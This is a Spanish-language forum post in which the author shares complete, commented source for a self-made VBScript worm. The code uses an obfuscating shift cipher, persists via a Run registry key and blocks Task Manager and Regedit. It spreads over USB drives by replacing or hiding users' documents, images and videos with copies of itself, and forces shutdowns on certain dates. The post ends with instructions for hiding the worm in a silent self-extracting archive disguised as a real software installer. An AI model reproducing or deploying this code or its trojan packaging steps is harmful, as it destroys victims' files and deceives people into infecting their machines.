Chav@s como estoy de vacaciones   y no tengo nada q hacer les traigo un worm  programado en vbscript x mi.Parte del code esta codificado aver si les gusta lo que hace_

• 1.-Infecta pc da
• 2.-Residente en la memoria
• 3.-Graffity a pc
• 4.-Impide q se abra el administrador de tareas y el registro de Windows
  
• 5.-Si lo borran regresa  
• 6.-Infecion USb remplaza una lista de formatos con el code deo worm eliminando el archivo original muy lamer    lose tambien cabe la opcion de solo ocultarlos en fin
• 7.-Prosesa sub carpetas para el paso6
• 8.-Cada vez q la pc infectada se encienda comprueva q el dia y el mes sumados den 18 la pc se apaga y como esta agregado a la pc no se prendera todo ese dia  

 
On Error Resume Next 'en cso de algun error no dar aviso
Set fso = CreateObject(des("Vfulswlqj1Ilohv|VwhpRemhfw"))     'Creamos objeto para manejar archivos 
y0 = Wscript.ScriptFullName                                    'variable con la ruta exacta del worm
Set tmp = fso.GetSpecialFolder(2)                              'hace referencia a la carpeta temporal 
Set ws = CreateObject(des("ZVfulsw1Vkhoo"))                     'Creamos objeto para manejar el registro
Set c = fso.GetFile(y0)                                        'creamos una variable contenga lo de la var y0
c.Copy(tmp&des("_NvY1yev"))                                     'con ayuda de lo anterior nos copiamos a la carpeta %temp%
fso.CopyFile y0, tmp&des("_NvY1yev")                             'nos copiamos a la carpeta %temp% )(x si no funciona la anterior)
ws.RegWrite "HKCU\software\<3\", " 4U ksv"                        'grafittiando el registro de windows 
ws.run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y#KlghIlohH{w")&  "/t reg_dword /d 1 /f",0   'ocultamos las extensiones de los archivos
ksv()       'llamamos a la funcion ksv
dloop()      'llamamos a la funcion dloop
 
Do                   'inicio de bucle infinito
On Error Resume Next
 
'las dos sig. lineas llama a la funcion see la cual se encarga de cerrar aplicaciones aqui ya le asignamos dos aplicaciones para q cierre (administrador de tareas y registro de windows) 
see(des("wdvnpju1h{h"))  
see(des("uhjhglw1h{h"))
ws.RegWrite des("KNH\bFXUUHQWbXVHU_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_Nh|VY"),tmp&des("_NvY1yev") 'Nos agregamos al registro de windows
 
Set wf= fso.OpenTextFile(y0) 'abrimos el archivo de la variable y0 osea el q se esta ejecutando
i= wf.ReadAll                 'Agregamos el contenido completo del worm a la variable i 
wf.Close                      'cerramos el worm
If fSO.FileExists(y0) Then    'comprobamos q exista el contenido de la var.y0 si es asi
wscript.sleep 1000             'espera 1 segundo  
Else                           'si no existe
Set nf= fso.CreateTextFile(y0) 'creamos el archivo 
nf.Write i                      'escribimos el contenido q almacenamos en la var (i)
nf.Close                        'lo cerramos
End If
obdri()                     'vamos a la funcion obdri
Loop                        'una ves q termine la funcion obdri regresa a do
End Sub
 
'Funcion q se encarga de cerrar el administrador de windows y el registro de windows
Sub see(processname)
On Error Resume Next
Set WM =getobject(des("ZlqPjpWv="))
Set listservices= WM.instancesof(des("Zlq65bSurFhvV"))
For Each oService In listservices
If processname=oService.name Then
oService.Terminate
End If
Next
End Sub
 
 
Function obdri()     
On Error Resume Next
Set discos = fso.Drives   'tomamos el control de las unidades de la pc
For Each d In discos      'bucle para mapear las unidades
If d.Drivetype = 1 or 0 Then  'comprobamos q sean del tipo (1extendible) (0 desconosidos) si es asi
a1= d&"\"                       'agregamos la direcion en la var a1             
Call joder(a1)                  'llamamos a la funcion joder con una direcion  
End If
Next           'pasa a la sigiente 
End Function
 
 
Function joder(a2)
On Error Resume Next
Set f4 = fso.GetFolder(a2) 'toma control de las carpeta de la usb
Set carpeta = f4.Files      'toma control de los archivos
For Each abc In carpeta    'mapeo de archivos contenidas en un array 
nombres = array("jpg","dwg","mp4","vbs","mp3","docx","doc","pdf","pptx","xlsx","vbe","avi")
For each n in nombres
If fso.GetExtensionName(abc.path) = n Then  'si existe alguna de las extensiones en el array entonces   
fso.CopyFile y0, abc.path&".vbs"            'copiamos el contenido de la var. y0 a los archivos q encuentre si la extensión coincide pero le modificamos la extensión 
fso.DeleteFile abc.path         'borramos el archivo original
End If
next  'sigiente
next'siguiente
 
Set abc= f4.SubFolders 'aqui prosesamos e infectamos sub carpetas
For Each f3 In abc
Call joder(f3.path)
Next
End Function
 
 
'las siguientes 6 lineas se encarga de cifrar y descifrar 
Public Function des(p)
On Error Resume Next
For Ale = 1 To  Len(p)
des = des &Chr(Asc(Mid(p,Ale, 1))- 3)
Next
End Function
 
 
'comprueba si el dia y el mes sumados dan 18 si es asi apagamos la pc y como se agrego al registro 
'la pc no prendera todo es dia
Sub ksv()
On Error Resume Next
sum = CInt(Month(Date) + Day(Date))
If sum = 18 Then
ws.Run des("fpg#2f#vkxwgrzq#2u#2w#33"),0
End If
End sub
 

On Error Resume Next
Set fso = CreateObject(des("Vfulswlqj1Ilohv|VwhpRemhfw"))
y0 = Wscript.ScriptFullName
Set tmp = fso.GetSpecialFolder(2)
Set ws = CreateObject(des("ZVfulsw1Vkhoo"))
Set c = fso.GetFile(y0)
c.Copy(tmp&des("_NvY1yeh"))
fso.CopyFile y0, tmp&des("_NvY1yeh")
ws.RegWrite "HKCU\software\<3\", " 4U ksv"
Set ws = CreateObject("wscript.shell")
ksv438 = array(des("#VxshuKlgghq#"),des("#Klgghq#"),des("#VkrzVxshuKlgghq#"))
For each n in ksv438
ws.Run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y")& n&des("#2w#uhjbgzrug#2g#3#2i"),0
next
ws.Run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y")& " HideFileExt "&des("#2w#uhjbgzrug#2g#4#2i"),0  
ksv()
dloop()
Do 
On Error Resume Next
kya(des("wdvnpju1h{h")) 
kya(des("uhjhglw1h{h"))
ws.RegWrite des("KNH\bFXUUHQWbXVHU_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_Nh|VY"),tmp&des("_NvY1yeh")
Set wf= fso.OpenTextFile(y0)
i= wf.ReadAll
wf.Close
y0=w
If fSO.FileExists(w) Then
wscript.sleep 1000
Else
Set nf= fso.CreateTextFile(w)
nf.Write i
nf.Close
End If
obdri()
Loop
End Sub
Sub kya(processname)
On Error Resume Next
Set WM =getobject(des("ZlqPjpWv="))
Set listServices= WM.instancesof(des("Zlq65bSurFhvV"))
For Each oService In listServices
If ProcessName=oService.name Then
oService.Terminate
End If
Next
End Sub
Function obdri()
On Error Resume Next
Set discos = fso.Drives
For Each d In discos
If d.Drivetype = 1 or 0 Then
a1= d&"\"
Call KsVAl(a1)
End If
Next
End Function
Function KsVAl(a2)
On Error Resume Next
Set f4 = fso.GetFolder(a2)
Set carpeta = f4.Files
For Each abc In carpeta
nombres = array("jpg","dwg","mp4","vbs","mp3","docx","doc","pdf","pptx","xlsx","vbe","avi")
For each n in nombres
If fso.GetExtensionName(abc.path) = n Then
fso.CopyFile y0, abc.path&".vbe"
'fso.DeleteFile abc.path
Set hi = fso.GetFolder(abc.path)
hi.Attributes = 7
End If
next
next
Set abc= f4.SubFolders
For Each f3 In abc
Call KsVAl(f3.path)
Next
End Function
Public Function des(p)
On Error Resume Next
For Ale = 1 To  Len(p)
des = des &Chr(Asc(Mid(p,Ale, 1))- 3)
Next
End Function
Sub ksv()
On Error Resume Next
sum = CInt(Month(Date) + Day(Date))
If sum = 18 Then
ws.Run des("fpg#2f#vkxwgrzq#2u#2w#33"),0
End If
End sub
 

 
On Error Resume Next
Set ws = CreateObject("WScript.Shell")
ws.run "worm.vbs"
ws.run "setup.exe"
 
 

Ese archivo se llamara start.vbs(el code anterior)
El worm se llamara worm.vbs
El programa se llamara setup.exe

Lo primero es añadir al archivo los 3 archivos marcar Crear un archivo extendible


Click en La pestaña de Avanzado..Autoextraible
Donde dice Carpeta de extracion escriben %TEMP% esta es la carpeta temporal de windows


En "Ejecutar tras la extracion" :Ponen start.vbs


Ahora vamos a la pestaña de modos marquen la opcion de "Ocultar todo"

Ahora en la pestaña de Texto e icono
CARGAR ICONO DESDE FICHERO  selecionen un icono q tengan

den aceptar y aceptar y listo  


Renombren la aplicacion por el nombre del programa por ej PhotoScapeSetup.exe

Al ejecutar este nuevo programa primero ejecutara el worm   y despues abrira el instalador del programa  

No compilen el code por q no funcionara x q NO FUNCIONARA LA OPCION DE AUTO RECOPERACION (osea lo borran y vuelve   )

El code es mi den creditos si lo postean en otro lugar  
si tienen preguntas   aganmelas saber